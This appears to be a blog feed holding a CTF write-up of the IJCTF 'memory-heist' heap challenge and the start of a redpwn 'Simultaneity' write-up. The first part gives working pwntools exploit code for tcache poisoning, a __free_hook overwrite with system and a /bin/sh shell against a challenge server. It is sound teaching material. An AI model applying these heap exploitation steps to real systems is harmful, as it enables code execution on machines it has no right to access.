<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Libc base: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>

<p>First we free idx’s 7 and 9, then we <code class="language-plaintext highlighter-rouge">view</code> the chunk 11’s contents and leak values from the stack, luckily we were able to leak out a heap, PIE, and libc address respectively. This is all the leaks we need.</p>

<p>However this has some undesirable side affects; half of our chunks have become unusable; specifically all odd indexes. This means that all chunks allocated/free’d prior to this have been cut loose; as we have no way to reference them:</p>

<p>Here is the <code class="language-plaintext highlighter-rouge">chunks</code> array:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x55d45f1ea060 &lt;chunks&gt;:        0x0000000000000000      0x0054696d616f6877
0x55d45f1ea070 &lt;chunks+16&gt;:     0x0000000000000000      0x0054696d616f6877
0x55d45f1ea080 &lt;chunks+32&gt;:     0x0000000000000000      0x0054696d616f6877
0x55d45f1ea090 &lt;chunks+48&gt;:     0x0000000000000000      0x0054696d616f6877
0x55d45f1ea0a0 &lt;chunks+64&gt;:     0x0000000000000000      0x0054696d616f6877
0x55d45f1ea0b0 &lt;chunks+80&gt;:     0x0000000000000000      0x0054696d616f6877
</code></pre></div></div>

<p>As you can see, where our allocations used to be is the string “whoamIT”.</p>

<h2 id="feng-shui">Feng-Shui</h2>

<p>At this point in the program, our heap looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allocated chunk | PREV_INUSE
Addr: 0x55d46019a000
Size: 0x291

Allocated chunk | PREV_INUSE &lt;-------- chunk 1
Addr: 0x55d46019a290
Size: 0x221

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55d46019a4b0 &lt;--------- chunk 7
Size: 0x2011
fd: 0x7f6c44c75be0
bk: 0x7f6c44c75be0

Free chunk (tcache)    &lt;------- chunk '9'
Addr: 0x55d46019c4c0
Size: 0x110
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x55d46019c5d0
Size: 0x111       &lt;------- chunk 11

Top chunk | PREV_INUSE
Addr: 0x55d46019c6e0
Size: 0x1e921

</code></pre></div></div>

<p>Here’s where hk pulls out the heap ninja skills.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">alloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x500</span><span class="p">,</span> <span class="s">'hk'</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x500</span><span class="p">,</span> <span class="s">'hk'</span><span class="p">)</span>

<span class="n">sice</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">sice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</code></pre></div></div>

<p>We allocate 2 chunks, then immediately free both of them again. This has a pretty cool effect: because chunk 7 (the unsorted-bin chunk) exists and is free, <code class="language-plaintext highlighter-rouge">malloc()</code> will split parts of that chunk off for allocations 0 and 2. This looks like this, afterward:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allocated chunk | PREV_INUSE
Addr: 0x557b358bb4b0
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x557b358bb9c0
Size: 0x511

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x557b358bbed0
Size: 0x15f1
fd: 0x7effd671dbe0
bk: 0x7effd671dbe0

</code></pre></div></div>

<p>Notice the size of the <code class="language-plaintext highlighter-rouge">unsorted</code> chunk. Some math will show you that:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x2010</span> <span class="o">-</span> <span class="mh">0x510</span> <span class="o">-</span> <span class="mh">0x510</span><span class="p">)</span>
<span class="s">'0x15f0'</span>
<span class="o">&gt;&gt;&gt;</span>
</code></pre></div></div>

<p>This chunk has, in fact had pieces torn off and used for allocations 0 and 2. Specifically notice the last 3 nibbles of the original chunk 7, when compared with the first new allocation. Do you see it ;).</p>

<p>Now when these chunks are free’d again, they are handed back to the <code class="language-plaintext highlighter-rouge">unsorted</code> chunk again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allocated chunk | PREV_INUSE
Addr: 0x558e41484000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x558e41484290
Size: 0x221

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x558e414844b0
Size: 0x2011
fd: 0x7fce8c28cbe0
bk: 0x7fce8c28cbe0

Free chunk (tcache)
Addr: 0x558e414864c0
Size: 0x110
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x558e414865d0
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x558e414866e0
Size: 0x1e921
</code></pre></div></div>

<p>This may look exactly the same as the snapshot of the heap before, however there is one difference. Despite being free’d, we still have references to chunks 0, and 2 in our <code class="language-plaintext highlighter-rouge">chunks</code> array:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x558e409ab060 &lt;chunks&gt;:        0x0000558e414844c0      0x0054696d616f6877
0x558e409ab070 &lt;chunks+16&gt;:     0x0000558e414849d0      0x0054696d616f6877
0x558e409ab080 &lt;chunks+32&gt;:     0x0000000000000000      0x0054696d616f6877
0x558e409ab090 &lt;chunks+48&gt;:     0x0000000000000000      0x0054696d616f6877
0x558e409ab0a0 &lt;chunks+64&gt;:     0x0000000000000000      0x0054696d616f6877
0x558e409ab0b0 &lt;chunks+80&gt;:     0x0000000000000000      0x0054696d616f6877
</code></pre></div></div>

<p>0 points the start of chunk 7, where it was chopped off from. And 2 points 0x500 bytes into the bigger chunk. What does this mean? Well this wouldn’t normally be a problem, but since we have the ability to double-free any chunk we like, if chunk 2 LOOKED like an authentic chunk we could <code class="language-plaintext highlighter-rouge">free()</code> it again.</p>

<p>Since 2 points into the user-portion of the free <code class="language-plaintext highlighter-rouge">unsorted</code> chunk, if someone was to request an allocation with the size of the chunk, and then fill it with fake metadata at offset 0x500, you could make allocation 2 LOOK authentic.</p>

<p>This is exactly what we do next:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mh">0x508</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x111</span><span class="p">))</span>

<span class="n">sice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">sice</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>

<p>We request an allocation that can be fulfilled by our free <code class="language-plaintext highlighter-rouge">unsorted</code> chunk, then we fill it up to 0x508 bytes deep with garbage. Then we provide a fake <code class="language-plaintext highlighter-rouge">size</code> of 0x111. This is enough to convince <code class="language-plaintext highlighter-rouge">free</code> that our chunk is valid, you can thank tcache for that :).</p>

<p>Now when we <code class="language-plaintext highlighter-rouge">free</code> 2, a chunk will be added to the tcache. Since 0 holds a pointer to the start of the <code class="language-plaintext highlighter-rouge">unsorted</code> chunk we can use that to <code class="language-plaintext highlighter-rouge">free</code> it again for further use.</p>

<p>After this point, our heap looks extremely familiar:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allocated chunk | PREV_INUSE
Addr: 0x55dc4f720000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x55dc4f720290
Size: 0x221

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55dc4f7204b0
Size: 0x2011
fd: 0x7f6849936be0
bk: 0x7f6849936be0

Free chunk (tcache)
Addr: 0x55dc4f7224c0
Size: 0x110
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x55dc4f7225d0
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x55dc4f7226e0
Size: 0x1e921
</code></pre></div></div>

<p>But in the tcache, on the top of the 0x110 bin is a chunk whos backing memory we completely control from the <code class="language-plaintext highlighter-rouge">unsorted</code> chunk:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcachebins
0x110 [  2]: 0x55dc4f7209d0 —▸ 0x55dc4f7224d0 ◂— 0x0
</code></pre></div></div>

<p>The key here is that, because earlier we added chunk 9 to the tcache we now have 2 chunks on the bin, which means that if one of them happens to be consumed, the <code class="language-plaintext highlighter-rouge">next</code> ptr of that chunk will be trusted to contain a real chunk pointer, and this <code class="language-plaintext highlighter-rouge">next</code> is completely under our control.</p>

<p>Did you get all of that?</p>

<h2 id="gloating">Gloating</h2>

<p>Its not too far now…</p>

<p>Now, we overwrite the <code class="language-plaintext highlighter-rouge">next</code> member of our tcache chunk ‘2’:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">alloc</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mh">0x508</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x111</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">pie_base</span> <span class="o">+</span> <span class="mh">0x4060</span><span class="p">))</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="p">)</span>
</code></pre></div></div>

<p>Specifically, we overwrite it with the <code class="language-plaintext highlighter-rouge">chunks</code> array we also overwrite the <code class="language-plaintext highlighter-rouge">free_hook</code> copy so the check that verifies whether or not <code class="language-plaintext highlighter-rouge">__free_hook</code> has been overwritten checks a null pointer, and still believes everything is okay. This allows us to call <code class="language-plaintext highlighter-rouge">delete</code> after we overwrite <code class="language-plaintext highlighter-rouge">__free_hook</code>, and subsequently call <code class="language-plaintext highlighter-rouge">free()</code>.</p>

<p>Now once we consume another entry from the tcache we can see this corruption in action:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcachebins
0x110 [  1]: 0x55d4de18f060 (chunks) —▸ 0x55d4e00e44c0 ◂— ...
</code></pre></div></div>

<p>The next element consumed from the tcache will now hand out an allocation that points into the <code class="language-plaintext highlighter-rouge">chunks</code> array:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">alloc</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">11</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x400</span><span class="p">))</span>
</code></pre></div></div>

<p>This overwrites the entire <code class="language-plaintext highlighter-rouge">chunks</code> array:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                           V idx '0' now points to the first chunk on the heap - this is where the tcache
                                             `tcache_perthread_struct` struct is stored.
    0x5577491b2060 &lt;chunks&gt;:        0x000055774ad5b010      0x0000000000000000
    0x5577491b2070 &lt;chunks+16&gt;:     0x0000000000000000      0x0000000000000000
    0x5577491b2080 &lt;chunks+32&gt;:     0x0000000000000000      0x0000000000000000
    0x5577491b2090 &lt;chunks+48&gt;:     0x0000000000000000      0x0000000000000000
    0x5577491b20a0 &lt;chunks+64&gt;:     0x0000000000000000      0x0000000000000000
    0x5577491b20b0 &lt;chunks+80&gt;:     0x0000000000000000      0x0000000000000000
    0x5577491b20c0 &lt;free_hook&gt;:     0x000055774ad5b400 &lt;------ we also overwrite a copy of the __free_hook.
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">idx</code> 0 now contains the allocation at the start of the heap that contains the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. This is responsible for keeping all bins, and a count of how many chunks remain in each bin.</p>

<p>Another thing this overwrites is a copy of the <code class="language-plaintext highlighter-rouge">__free_hook</code> that came just after our <code class="language-plaintext highlighter-rouge">chunks</code></p>

<p>Next, we <code class="language-plaintext highlighter-rouge">free</code> 0, this makes the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> chunk available, and we promptly use it and overwrite its contents:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x280</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\1</span><span class="s">'</span><span class="o">*</span><span class="mh">0x80</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x1eeb20</span><span class="p">))</span>
</code></pre></div></div>
<p>We need to specify a size that is close to 0x290 - the size of the allocation to get it back, but once we do:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  counts = {257 &lt;repeats 64 times&gt;},
  entries = {0x7efd61112b20 &lt;__after_morecore_hook&gt;, 0x0 &lt;repeats 14 times&gt;, 0x5617bf9694c0, 0x0 &lt;repeats 48 times&gt;}
}
</code></pre></div></div>

<p>We overwrite every single entry inside our <code class="language-plaintext highlighter-rouge">counts</code> of our <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> such that each bin has one chunk inside it, and this enables us to remove the <code class="language-plaintext highlighter-rouge">__after_morecore_hook</code> allocation within libc from here.</p>

<p>Now, at <code class="language-plaintext highlighter-rouge">__after_morecore_hook+8</code> is a bit of a surprise:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; x/gx &amp;__after_morecore_hook
0x7efd61112b20 &lt;__after_morecore_hook&gt;: 0x0000000000000000
pwndbg&gt; x/gx 0x7efd61112b20+8
0x7efd61112b28 &lt;__free_hook&gt;:   0x0000000000000000
pwndbg&gt;
</code></pre></div></div>

<p>As you can see, from here we are able to overwrite <code class="language-plaintext highlighter-rouge">__free_hook</code> in libc, lets see how thats done:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/bin/sh</span><span class="se">\0</span><span class="s">'</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x55410</span><span class="p">))</span>
<span class="c1"># Do it xPPPP
</span><span class="n">sice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>First, this will overwrite <code class="language-plaintext highlighter-rouge">__after_morecore_hook</code> with the string “/bin/sh\0” which (luckily) is exactly 8 bytes. After that we overwrite <code class="language-plaintext highlighter-rouge">__free_hook</code> with the address of <code class="language-plaintext highlighter-rouge">__libc_system</code>.</p>

<p>Now when we call <code class="language-plaintext highlighter-rouge">sice(2)</code> we will call <code class="language-plaintext highlighter-rouge">system</code> with our chunk 2, and since chunk 2 points directly at <code class="language-plaintext highlighter-rouge">__after_morecore_hook</code>, we will call <code class="language-plaintext highlighter-rouge">system("/bin/sh\0");</code>.</p>

<p>Lets test:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@nomu:~/D/I/memory_heist
❯❯ python sol.py
[+] Opening connection to 35.244.10.136 on port 10253: Done
[b'', b'7ffee915e500', b'58(nil)', b'9', b'9', b'560b2b7c51b0', b'b', b'1', b'560b2d5ae605', b'a61', b'a92f19ee774b4000', b'7ffee9160bf0', b'560b2b7c58b7', b'7ffee9160ce0', b'3(nil)', b'7f062845d0b3', b'7f06286576201. Allocate']
Heap base: 0x560b2d5ac000
Pie leak: 0x560b2b7c4000
Libc base: 0x7f0628436000
[*] Switching to interactive mode
$ ls
flag
ld.so
libc.so.6
memory-heist
ynetd
$ cat flag
IJCTF{so_you_do_know_things_about_memory_heist}
$  
</code></pre></div></div>

<p>Looks like it works to me.</p>

<h1 id="closing-thoughts">Closing thoughts</h1>

<p>No matter how good you think you are, there will always be someone better than you and in my case it was my team-mate. However by no means was my failure to solve this challenge a bad thing.</p>

<p>Strictly speaking, failure (especially when learning) is never really bad, as long as you can come back, learn what you did wrong and try again, until you get it. This morning I had no idea how any of this exploit worked, however now I come out of this with a keener eye, and a wider horizon than before.</p>

<p>That aside, there is a commented version of the exploit in the folder, and I really need to learn more heap exploitation, because you can never learn enough :).</p>

<h2 id="references">References</h2>
<p>I don’t usually do this, but here:</p>

<p><a href="https://sourceware.org/glibc/wiki/MallocInternals">https://sourceware.org/glibc/wiki/MallocInternals</a></p>

<p>Only one ref? Yup, but its pretty damn good.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro So IJCTF happened recently, taking place over the weekend from the 24th of June. It had some pretty damn good challenges, and was a great way for me and the rest of zh3r0 to rejuvenate after being battered by the hellhole that was google CTF. So lets get into one of these challenges. memory-heist specifically was solved by my team-mate. His solution was quite baffling at first but after debugging and running through it a few times I understood. This is the exploit I will be using (and explaining) during this writeup, so I hope it can help you understand the awesome way this was exploited. As usual, the exploit script is in the folder with this writeup (if this ends up on GitHub, anyway]). So if that’s all you need, there it is. With that out of the way, lets take a look at the challenge binary. Setup … But before we can do that there is a problem. Stripped libc. If you don’t mind not having access to pwndbgs heap command for looking at heap chunks, you can skip this part, but this is gonna get pretty technical so I would recommend following. You can get the debug symbols by running: wget http://es.archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-dbg_2.31-0ubuntu9.2_amd64.deb And then dpkg -x libc6-dbg_2.31-0ubuntu9.2_amd64.deb . To extract them to the current directory. Next I used eu-unstrip to copy the debug symbols from the unstripped libc, over to the stripped one provided, alternatively you could just replace the libc, but I only thought of that now -_-. eu-unstrip ./libc.so.6 usr/lib/debug/lib/x86_64-linux-gnu/libc-2.31.so -o ./libc.so.6.dbg Now you should have libc.so.6.dbg which you can exchange with the provided libc as you wish. No need for any patching because the challenge creator’s had the foresight to load the linker AND libc from the current directory. Thanks guys. What First, lets see the challenge description: Hereee! You got both printf() and UAF. Lets see if you can get the flag :) Very bold… Lets see about that. Now that we have that out of the way we can take a look at how the binary runs, and see what it does, then we can delve in with the disassembler/de-compiler of your choice. First lets run and explore some program functionality: root@nomu:~/D/I/memory_heist ❯❯ ./memory-heist Welcome to Memory Heist. 1. Allocate 2. Delete 3. Print &gt; 1 Enter the index for memory. &gt; 0 Enter the size of memory. &gt; 1337 Memory&gt; asdfasdfasdf Saved. 1. Allocate 2. Delete 3. Print &gt; 3 Re-visting memories comes at a cost. Should you choose to accept to re-visit, half of your memories will be lost. [Y/N]&gt; Y Index&gt; 0 Contents:asdfasdfasdf1. Allocate 2. Delete 3. Print &gt; 1. Allocate 2. Delete 3. Print &gt; 2 Enter the index. &gt; 0 Done. [--snipped--] fish: “./memory-heist” terminated by signal SIGALRM (Timer expired) So we have 3 options: “Allocate”, “Delete”, and “Print”. “Allocate” asks for an index, then a size, and then the contents. We can then “Print” the contents given an index. And finally we can “Delete” once done. Were also rudely interrupted by an alarm(), so were definitely not meant to do this manually, huh. This looks like a pretty standard heap note challenge; we can allocate some space that we control at will, fill it with data which we also control, and then free/delete said allocation once done. So lets take a look at our program in IDA/Ghidra to confirm or deny this hypothesis. Reversing main() Since the binary is pretty small its feasible to walk through the binary one function at a time, so lets see what’s up: int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { unsigned __int64 choice; // [rsp+8h] [rbp-8h] welcome(); while ( 1 ) { while ( 1 ) { choice = menu(argc, argv); if ( choice != 3 ) break; print(); } if ( choice &gt; 3 ) break; if ( choice == 1 ) { allocate(); } else { if ( choice != 2 ) break; delete(); } } puts("Duh!"); _exit(1); } Okay, so first we call a function welcome(). This is pretty simple, just give us a welcome message, and setup a semi-random alarm() timer: int welcome() { int lol; // eax lol = rand(); alarm(lol % 1337 / 20); return puts("\nWelcome to Memory Heist.\n"); } So that’s why we get kicked out almost immediately. Next we enter a command loop from which we enter our choice: while ( 1 ) { while ( 1 ) { choice = menu(argc, argv); if ( choice != 3 ) break; print(); } if ( choice &gt; 3 ) break; if ( choice == 1 ) { allocate(); } else { if ( choice != 2 ) break; delete(); } } The first thing we do inside the loop is call menu() to display our options banner, then take said option, and return it: __int64 menu() { __int64 choice[2]; // [rsp+0h] [rbp-10h] BYREF choice[1] = __readfsqword(0x28u); choice[0] = 0LL; puts("1. Allocate"); puts("2. Delete"); puts("3. Print"); printf("&gt; "); __isoc99_scanf("%lu", choice); return choice[0]; } Back in the main command loop, we have branches for each corresponding option, and if we do not have any of these as our choice we leave the command loop and exit(). Firstly, lets take a look at allocate(): allocate() We can already see some recognizable strings: unsigned __int64 allocate() { unsigned __int64 idx_dup; // rbx size_t nbytes; // [rsp+8h] [rbp-28h] BYREF unsigned __int64 idx; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 canary; // [rsp+18h] [rbp-18h] canary = __readfsqword(0x28u); nbytes = 0LL; idx = 0LL; puts("Enter the index for memory."); printf("&gt; "); __isoc99_scanf("%lu", &amp;idx); puts("Enter the size of memory."); printf("&gt; "); __isoc99_scanf("%lu", &amp;nbytes); if ( idx &gt; 0xB || (&amp;chunks)[idx] ) { puts("Duh!"); _exit(1); } idx_dup = idx; (&amp;chunks)[idx_dup] = malloc(nbytes + 2); printf("Memory&gt; "); nbytes = read(0, 0x4100, nbytes); *(&amp;chunks + nbytes + 159) = 0; memcpy((&amp;chunks)[idx], 0x4100, nbytes); // smash &amp;chunks + idx? puts("Saved."); return __readfsqword(0x28u) ^ canary; } So, looks like how we would expect; we enter idx, nbytes and then input contents, although the way contents is received is a little strange; first data is read from stdin into .bss rather than first malloc()ing a chunk of size nbytes and THEN reading data in from there. Doing it this way allows us to write as much data into .bss as we want, and although there’s nothing interesting you could do with this its still a little strange. Anyway, if our idx doesn’t stray OOB, and the current slot is not occupied we are able to store our allocated memory there, our input is then read into + copied from .bss to our allocation after first being null terminated (I’m sort of sure that’s what *(&amp;chunks + nbytes + 159) = 0; is doing, anyway). So summed up, allocate() does a couple things: Take idx, nbytes, and chunk Contents. Verify our idx does not go OOB and that we aren’t replacing an allocation which is in use. If we abide by the rules above, copy our contents into our allocation. Lets move on to the next function, print(). print() unsigned __int64 print() { unsigned __int64 idx1; // [rsp+8h] [rbp-28h] BYREF __int64 isPCT; // [rsp+10h] [rbp-20h] char *chr; // [rsp+18h] [rbp-18h] char buf[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 canary; // [rsp+28h] [rbp-8h] canary = __readfsqword(0x28u); chr = 0LL; puts("Re-visting memories comes at a cost."); puts("Should you choose to accept to re-visit, half of your memories will be lost."); printf("[Y/N]&gt; "); read(0, buf, 6uLL); if ( buf[0] == 'N' || buf[0] == 'n' ) { puts("Thats alright."); } else { printf("Index&gt; "); __isoc99_scanf("%lu", &amp;idx1); // idx not checked here chr = *(&amp;chunks + idx1); // uaf here isPCT = 0LL; while ( *chr ) { if ( *chr == '%' ) isPCT = 1LL; if ( isPCT &amp;&amp; *chr == 'n' ) { puts("Whoaa! Whatcha doin'?"); _exit(1); } ++chr; } printf("Contents:"); printf(*(&amp;chunks + idx1)); // fmt string vuln for ( idx1 &amp;= 1u; idx1 &lt;= 0xB; idx1 += 2LL ) *(&amp;chunks + idx1) = 'Timaohw'; } return __readfsqword(0x28u) ^ canary; } We print the all too familiar prompt, then ask for a choice, [Y/N]. Choosing N/n simply returns us to the command loop, but any other char will take us forward. We read an idx. Interestingly enough (though not relevant for our exploit) is that said idx is not checked for OOB. I’m not sure if this is a feature of the challenge for not, but this allows you to specify an arbitrary idx which will then be printed from. Next we get the corresponding pointer for the given idx and iterate through the contents of our chunk, if we give %n as part of our buffer during allocate(), we will exit the program upon detecting that (format string incoming). After this we pass our chunk contents directly into printf. Here is our format string bug, like the challenge description promised - but with the constraint that no %n is allowed, so no writing memory using this. Like promised at the start of the program, we will now lose half of our memories, in this case being our chunks. The string “whoamIT” will be written to half of our chunk slots, making them effectively useless. Once placed here, these cannot be cleared, which means we cant use these slots for any more allocations, and we certainly cant free/delete them, as we will see soon. Anyhow, we then check the canary and are returned to our command loop, but this time with serious amnesia… Haha geddit? Because memories?????? Okay I’ll stop. delete() Finally we come to the crux of the issue, and arguably the most important function in our program. We come to the UAF: unsigned __int64 delete() { unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = 0LL; puts("Enter the index."); printf("&gt; "); __isoc99_scanf("%lu", &amp;v1); if ( v1 &gt; 0xB || !*(&amp;chunks + v1) || *free_hook ) { puts("Duh!"); _exit(1); } free(*(&amp;chunks + v1)); // free'd, but not cleared. ALSO not checked if freed previously puts("Done."); return __readfsqword(0x28u) ^ v2; } This function is pretty small, and all it does is validate, again that we don’t go OOB, then free()s a chunk in a given idx slot. It also checks if the __free_hook has been overwritten, and this is something we will need to bypass later. You may notice a couple things, and if you have props to you, because I didn’t see this until very, very late in the CTF. We do not check the validity of any pointer we free(). This, combined with the fact that free()d chunks are never cleared could allow us to free a chunk twice. During the period between when it was last free()d we could have replaced crucial chunk metadata such as the size. This is what our exploit abuses.]]></summary></entry><entry><title type="html">Redpwn CTF 2021 Simultaneity writeup</title><link href="https://volticks.github.io/Simultaneity-writeup/" rel="alternate" type="text/html" title="Redpwn CTF 2021 Simultaneity writeup" /><published>2021-07-27T00:00:00+00:00</published><updated>2021-07-27T00:00:00+00:00</updated><id>https://volticks.github.io/Simultaneity-writeup</id><content type="html" xml:base="https://volticks.github.io/Simultaneity-writeup/"><![CDATA[<h1 id="intro">Intro</h1>
<p>This years redpwn started on the 9th of july, and ran through from 8PM BST till 8PM on the 12th. This was really fun, and I really praise the organisers for creating the superb
infrastructure and challenges that allowed me (and my <a href="https://ctftime.org/team/157675">team-mates</a> or <a href="https://ctftime.org/team/120331">here</a>) to toil away on these challenges. Cheers guys :).</p>

<p>This will be the first of (probably) a series of writeups for challenges in the pwn category of redpwnCTF 2021, disregarding the challenges I didn’t solve.</p>

<h2 id="description">Description</h2>

<p><img src="https://user-images.githubusercontent.com/73792438/125520811-639fe7e9-d1bd-4897-93f3-a7670b54f4f8.png" alt="image" /></p>

<p>This challenge specifically was extremely difficult (for me). The vulnerability as you will see is very obvious. However exploitation is another matter that 
requires knowledge of some heap internals, and alot of guesswork on my part. With that out of the way, lets begin.</p>

<p>(The solution script is at the bottom as well as in the github folder, I forgot that in my last writeup.)</p>

<h1 id="setup">Setup</h1>

<p>So whats up?</p>

<p>Well first things first, were provided with a libc and a linker. If we want to correctly emulate the challenge environment, we need to patch these into the program. You can
do that like so:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>patchelf ./simultaneity <span class="nt">--set-interpreter</span> ./ld-linux-x86-64.so.2 <span class="nt">--replace-needed</span> libc.so.6 ./libc.so.6 <span class="nt">--output</span> simultaneity1
</code></pre></div></div>
<p>Now you should have <code class="language-plaintext highlighter-rouge">simultaneity1</code> which has the correct libc + linker. Something else to note is that the libc is stripped. There are quite a few ways to ‘unstrip’ a libc but 
I chose to download the debug symbols and simply use them with my gdb. To do this you can download the debug symbols that match the libc (you can get version info from a libc 
by running it), then extract them in the current
directory:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc6-dbg_2.28-10_amd64.deb
<span class="nb">mkdir </span>dbg<span class="p">;</span> dpkg <span class="nt">-x</span> libc6-dbg_2.28-10_amd64.deb ./dbg/
</code></pre></div></div>
<p>Now whenever you want to use these symbols in gdb, simply type: <code class="language-plaintext highlighter-rouge">set debug-file-directory dbg/usr/lib/debug/</code> and you should (fingers crossed) have working symbols.
Now we should be all set to take a look at the binary.</p>

<h1 id="the-program">The program</h1>

<p>Its pretty simple:</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125348293-f066ed00-e353-11eb-835e-65cd30359f54.PNG" alt="1" /></p>

<p>The program asks <code class="language-plaintext highlighter-rouge">how big?</code> and we can provide a size, it then spits out what looks like a <code class="language-plaintext highlighter-rouge">main_arena</code> heap address (from a heap that is aligned with the data segment). It then
asks <code class="language-plaintext highlighter-rouge">how far?</code> and <code class="language-plaintext highlighter-rouge">what?</code>. It seems that the program is straight up giving us a thinly veiled write-what-where primitive, nice.</p>

<p>If we look at the decompiled code for <code class="language-plaintext highlighter-rouge">main()</code> we can confirm this:</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125348373-0aa0cb00-e354-11eb-89cc-5d2b3830c34f.png" alt="image" /></p>

<p>(ignore my mutterings at the bottom lol)
The program takes a <code class="language-plaintext highlighter-rouge">size</code> which is then passed to <code class="language-plaintext highlighter-rouge">malloc(size)</code> so we can control the size of an allocation. Then the program leaks the address of said allocation back to 
us. We can then specify another <code class="language-plaintext highlighter-rouge">size</code>/index that will then be multiplied by 8, then it will be added to the address of our allocation <code class="language-plaintext highlighter-rouge">(long)alloc + size * 8)</code>. We then use 
the result of this addition and write into it an <code class="language-plaintext highlighter-rouge">unsigned int</code>/<code class="language-plaintext highlighter-rouge">size_t</code>.</p>

